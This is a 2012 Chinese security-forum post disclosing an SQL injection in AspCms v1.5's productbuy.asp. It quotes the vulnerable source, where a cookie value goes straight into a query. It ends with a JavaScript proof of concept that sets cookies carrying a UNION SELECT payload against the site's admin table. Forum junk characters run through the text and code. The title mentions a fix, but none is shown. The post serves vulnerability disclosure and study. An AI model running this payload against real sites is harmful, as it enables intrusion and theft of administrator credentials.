找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2379|回复: 0
打印 上一主题 下一主题

AspCms_v1.5_20110517 SQL注射漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:35:05 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好久没上土司了,上来一看发现在删号名单内.....
7 j: _& ^+ @* l也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。! @. I) O5 P9 V  m& E: ^
废话不多说,看代码:
2 w, f: _9 x7 `% D, z, u, Q/ B& w# b+ ]( S$ z
<%. v/ V4 P. b" L

7 z: ?# X2 T* r8 o8 M' dif action = "buy" then* l, {  T5 o9 R, j; @: y1 d! ]5 y, r3 p
& C. \  x# S( M3 G3 M: B4 T% e5 v
        addOrder()
, Q) p' _/ b" R( R6 L: Q& c
$ b: F" v" E, h1 {* ?6 |8 `/ xelse3 r7 f+ M" _! D/ a

4 ]" g0 M* j1 g( e' S- l; j7 B) `        echoContent()( V* V7 e& e/ |

4 k9 T- b# L# d3 V# f! L  s* qend if& Y( h$ `4 s4 y! O; Z3 M+ V
) P! w8 S0 [2 V: z5 b* x3 s

1 g9 p6 ~+ C6 M& ?% }- q8 F- B2 `( w
……略过
9 ?1 S8 a+ [8 z1 |1 C, B9 f5 D! W
4 b9 a$ \/ {9 |) @# X1 j; ]9 E% A5 z
( F8 N1 c. x+ R+ k/ T, C7 m, H! F
Sub echoContent()
' m8 a- B2 ~# D- l) t1 X* i  X. X& |$ M
        dim id
! P3 a- h; d; j1 O. u' g
, z3 R: B6 K  [5 P: v        id=getForm("id","get")
) S, H6 H1 a* t: `$ m% [# x
7 e9 ~. c/ T. z4 G5 k4 G        
. L# R0 ?: z$ Y6 h; `4 P( p( |3 m& ~+ y9 }) h5 M2 t
        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
2 i! X+ M6 _, p' I) P( O+ S8 p2 ]$ {: C% F  \+ c8 u
        
* }+ ^- {. |) P" d
2 p8 @; P2 V/ w: N8 J! M  u        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
# r, L; U  s# E, }, w6 g& D, ^- p5 Q. C& ], C( |1 |3 j
        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct1 Z$ u6 |; C( x, d" H2 K2 b
/ n/ e/ Y  A% B- l
        Dim templatePath,tempStr
6 y* j/ V  ~' a' j$ }
. a9 ?6 k! Q4 n, D& r1 D        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"5 v1 s) D2 y5 d8 A/ m: I2 ?
# g& k' N, f* |
7 e6 O0 A' r1 n6 f! W' }& F
6 v0 q  Z5 e- [
        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")) {' T) {- X1 i

8 h0 @, G& @+ K: q        selectproduct=rsObj(0)$ v) n1 o/ {# F2 A0 j( G( V4 U

! o3 u. X4 [% V5 y; M+ u+ a        
1 b# t1 E8 U" L) Z
' o- ^4 `& |+ `0 t$ Z# _        Dim linkman,gender,phone,mobile,email,qq,address,postcode! h5 L# H5 o2 f/ V! x! R+ A
+ F& J) u# W  [
        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0
9 k, r7 e! E0 R
( _9 x" \! C' l$ a        if rCookie("loginstatus")=1 then  
8 |8 W( O0 W/ J& H( z
* }7 o# [  I( a  B9 r                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
$ X  N# M! R3 w4 z+ C& H
6 @9 b$ |: A, G6 L9 u5 A+ o6 q( k! |5 @                linkman=rsObj("truename")7 E" h, L# D7 L
2 G# f3 b" Q* E/ h
                gender=rsObj("gender")( J6 t) w; x& F4 i2 ]3 L! o4 s" [
" B+ O3 k# y$ G2 u* Y& E
                phone=rsObj("phone")0 Y9 I' F9 m& U

+ y+ V# l: C+ ^& o  M                mobile=rsObj("mobile")1 t- _, [7 h4 I) k
/ ?& l: H4 a  }- H4 T
                email=rsObj("email")" w0 K& _3 ?1 j$ x: [! C
3 T& h0 T* j2 h% X4 O- C
                qq=rsObj("qq")6 k* \: s3 s/ F& H

6 b* F% v: N* o3 V7 C                address=rsObj("address")
& ~3 ?+ l, F* z4 V( F1 ?! u/ r" m. ?
                postcode=rsObj("postcode")9 L( i6 {" Y8 T
6 ]* T" e  A$ c1 s$ x* ]; L2 [0 R
        else + A: H; Z4 I( T9 c8 M

" U8 d" g* C* R1 S  t& H                gender=1# ~! k+ s0 e& a
) g* n1 z/ s6 f' E2 t0 x6 o
        end if
! `, H' n( F' u7 e1 t" A+ v9 X  W+ ]# c& o" f8 B
        rsObj.close()2 d; D% r& X9 j3 W: D; l! B. E
* ^7 d6 e. A0 b' u9 B
                % v' P( I2 N2 f6 n; b; [
! O! z. R% E! a! L) ?  j
        with templateObj ' S. O: ]  b4 ]8 e

8 K# a1 i$ a% J& |* t# W7 |4 Y                .content=loadFile(templatePath)        1 |% l; _9 P6 F

7 ?  R8 X7 O' X" S3 [) _                .parseHtml()* v6 O. F- h5 l" Z  C, Q# ?) j' a

; H1 e0 d1 |$ X5 Y7 s                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
, y, W8 t9 M4 G( v& K2 z) b
$ Q' f0 D. {9 `9 O: E* g+ q                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
7 W" O6 E7 V: W0 v
8 T- }: O' d. |1 q! r3 K0 H                .content=replaceStr(.content,"[aspcms:gender]",gender)               
& n* x+ U& ~! y: D
. n, _* S5 r, X4 `, e1 x                .content=replaceStr(.content,"[aspcms:phone]",phone)                , `5 `% E7 o. m+ e- x# X1 Z8 H

9 l4 ~+ k, Q8 m/ O+ z2 J* @# q7 Q                .content=replaceStr(.content,"[aspcms:mobile]",mobile)                * _! ~; T) w- R

% }- h$ o/ c+ E- w' I- V' ~                .content=replaceStr(.content,"[aspcms:email]",email)                        7 i8 c2 q+ G9 L& d
/ ]& ~0 j6 R1 W  |  u
                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
1 f: y3 }+ j2 ]. _  f- S7 e$ P
, {5 F4 o% |& Z: K4 n% i1 Z                .content=replaceStr(.content,"[aspcms:address]",address)                        
& Q/ \- |9 K; G7 b9 o. c" h6 Z( y* p
! \2 h8 i. h: V; s/ e) G                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
6 P! i2 K4 q  p+ B
; N" |5 R) U- `& N. y                .parseCommon()                 
2 a: `' y- }! k' m% a4 {
' s3 {9 e; }7 R, l) @6 `                echo .content
! _) J( ]7 t0 ^+ I' t
3 q; a2 e: S9 Z        end with
. s' d( A4 t7 ]; m9 L5 D" X' |+ y! a  ~6 K) v( t& C9 G& B) A4 g
        set templateobj =nothing : terminateAllObjects
1 p) f) S1 N; }  F
/ P" ]2 X6 e5 L. J2 p  u* r1 }End Sub6 G! j2 t8 W1 @5 Q2 N6 @1 J' a& W
漏洞很明显,没啥好说的
" t. Y! _, o5 e! M+ [4 x% rpoc:# b; I/ g' `, W; X, Y1 h( p

+ n: M3 F5 m  {- n% o  Z. y( Gjavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​
  o( v7 k! Y+ L8 Z: B! X2 J' h1 R2 _- K' M  {
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表